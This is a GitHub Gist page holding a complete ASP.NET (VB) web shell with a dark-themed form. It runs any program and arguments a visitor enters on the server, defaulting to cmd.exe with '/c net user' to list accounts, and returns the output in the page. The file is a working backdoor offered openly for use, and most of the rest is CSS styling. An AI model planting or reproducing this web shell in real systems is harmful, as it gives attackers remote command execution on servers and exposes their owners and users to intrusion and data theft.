Created
May 8, 2020 08:51
-
-
Save Malayke/2ec681313cdb0892ebc3c9f7fc0baafc to your computer and use it in GitHub Desktop.
dark theme cmd aspx webshell
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<%@ Page Language="VB" Debug="true" %> | |
<%@ import Namespace="system.IO" %> | |
<%@ import Namespace="System.Diagnostics" %> | |
<script runat="server"> | |
Sub RunCmd(Src As Object, E As EventArgs) | |
Dim myProcess As New Process() | |
Dim myProcessStartInfo As New ProcessStartInfo(xpath.text) | |
myProcessStartInfo.UseShellExecute = false | |
myProcessStartInfo.RedirectStandardOutput = true | |
myProcess.StartInfo = myProcessStartInfo | |
myProcessStartInfo.Arguments=xcmd.text | |
myProcess.Start() | |
Dim myStreamReader As StreamReader = myProcess.StandardOutput | |
Dim myString As String = myStreamReader.Readtoend() | |
myProcess.Close() | |
mystring=replace(mystring,"<","<") | |
mystring=replace(mystring,">",">") | |
result.text= vbcrlf & "<hr><pre style='white-space: pre-wrap;word-break: keep-all;'>" & mystring & "</pre><hr>" | |
End Sub | |
</script> | |
<html> | |
<head> | |
<style> | |
body, p, input {font-family: consolas, monospace; } | |
.solarized-dark{background-color:#073642;color:#78909c}.solarized-dark h1,.solarized-dark h2,.solarized-dark h3,.solarized-dark h4,.solarized-dark h5,.solarized-dark h6{color:#1e88e5}.solarized-dark h1 a,.solarized-dark h2 a,.solarized-dark h3 a,.solarized-dark h4 a,.solarized-dark h5 a,.solarized-dark h6 a{color:#1e88e5;border-bottom-color:#1e88e5}.solarized-dark h1 a:hover,.solarized-dark h2 a:hover,.solarized-dark h3 a:hover,.solarized-dark h4 a:hover,.solarized-dark h5 a:hover,.solarized-dark h6 a:hover{background-color:#1e88e5;color:#fff}.solarized-dark pre{background-color:#073642;padding:0;border:none}.solarized-dark pre code{color:#009688}.solarized-dark h1 a,.solarized-dark h2 a,.solarized-dark h3 a,.solarized-dark h4 a,.solarized-dark h5 a{color:#78909c}.solarized-dark code,.solarized-dark strong{color:#90a4ae}.solarized-dark code{font-weight:100}.solarized-dark .progress-bar-filled{background-color:#558b2f}.solarized-dark .progress-bar-filled:after,.solarized-dark .progress-bar-filled:before{color:#90a4ae}.solarized-dark table{color:#78909c}.solarized-dark table td,.solarized-dark table th{border-color:#b0bec5}.solarized-dark table tbody td:first-child{color:#b0bec5}.solarized-dark .form-group label{color:#78909c;border-color:#90a4ae}.solarized-dark .form-group.form-textarea label:after{background-color:#073642}.solarized-dark .form-control{color:#78909c;border-color:#90a4ae}.solarized-dark .form-control:focus{border-color:#cfd8dc;color:#cfd8dc}.solarized-dark textarea.form-control{color:#78909c}.solarized-dark .card{border-color:#90a4ae}.solarized-dark .card .card-header{background-color:transparent;color:#78909c;border-bottom:1px solid #90a4ae}.solarized-dark .btn.btn-ghost.btn-default{border-color:#607d8b;color:#607d8b}.solarized-dark .btn.btn-ghost.btn-default:focus,.solarized-dark .btn.btn-ghost.btn-default:hover{border-color:#90a4ae;color:#90a4ae;z-index:1}.solarized-dark .btn.btn-ghost.btn-default:focus,.solarized-dark .btn.btn-ghost.btn-default:hover{border-color:#e0e0e0;color:#e0e0e0}.solarized-dark .btn.btn-ghost.btn-primary:focus,.solarized-dark .btn.btn-ghost.btn-primary:hover{border-color:#64b5f6;color:#64b5f6}.solarized-dark .btn.btn-ghost.btn-success:focus,.solarized-dark .btn.btn-ghost.btn-success:hover{border-color:#81c784;color:#81c784}.solarized-dark .btn.btn-ghost.btn-info:focus,.solarized-dark .btn.btn-ghost.btn-info:hover{border-color:#4dd0e1;color:#4dd0e1}.solarized-dark .btn.btn-ghost.btn-error:focus,.solarized-dark .btn.btn-ghost.btn-error:hover{border-color:#e57373;color:#e57373}.solarized-dark .btn.btn-ghost.btn-warning:focus,.solarized-dark .btn.btn-ghost.btn-warning:hover{border-color:#ffb74d;color:#ffb74d}.solarized-dark .avatarholder,.solarized-dark .placeholder{background-color:transparent;border-color:#90a4ae}.solarized-dark .menu .menu-item{color:#78909c;border-color:#90a4ae}.solarized-dark .menu .menu-item.active,.solarized-dark .menu .menu-item:hover{color:#fff;border-color:#78909c} | |
</style> | |
</head> | |
<body class="hack solarized-dark"> | |
<form runat="server" class="form"><fieldset class="form-group"> | |
<p><asp:Label id="L_p" runat="server" class="form-control">Program</asp:Label> | |
<asp:TextBox id="xpath" runat="server" width="300px">c:\windows\system32\cmd.exe</asp:TextBox> | |
<p><asp:Label id="L_a" runat="server" width="80px" class="form-control">Arguments</asp:Label> | |
<asp:TextBox id="xcmd" runat="server" width="94%" Text="/c net user">/c net user</asp:TextBox></fieldset> | |
<p><div class="form-actions"> | |
<asp:Button id="Button" onclick="runcmd" runat="server" Width="100px" Text="Run" type="button" class="btn btn-primary btn-block"></asp:Button></div> | |
<p><asp:Label id="result" runat="server"></asp:Label> | |
</form> | |
</body> | |
</html> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment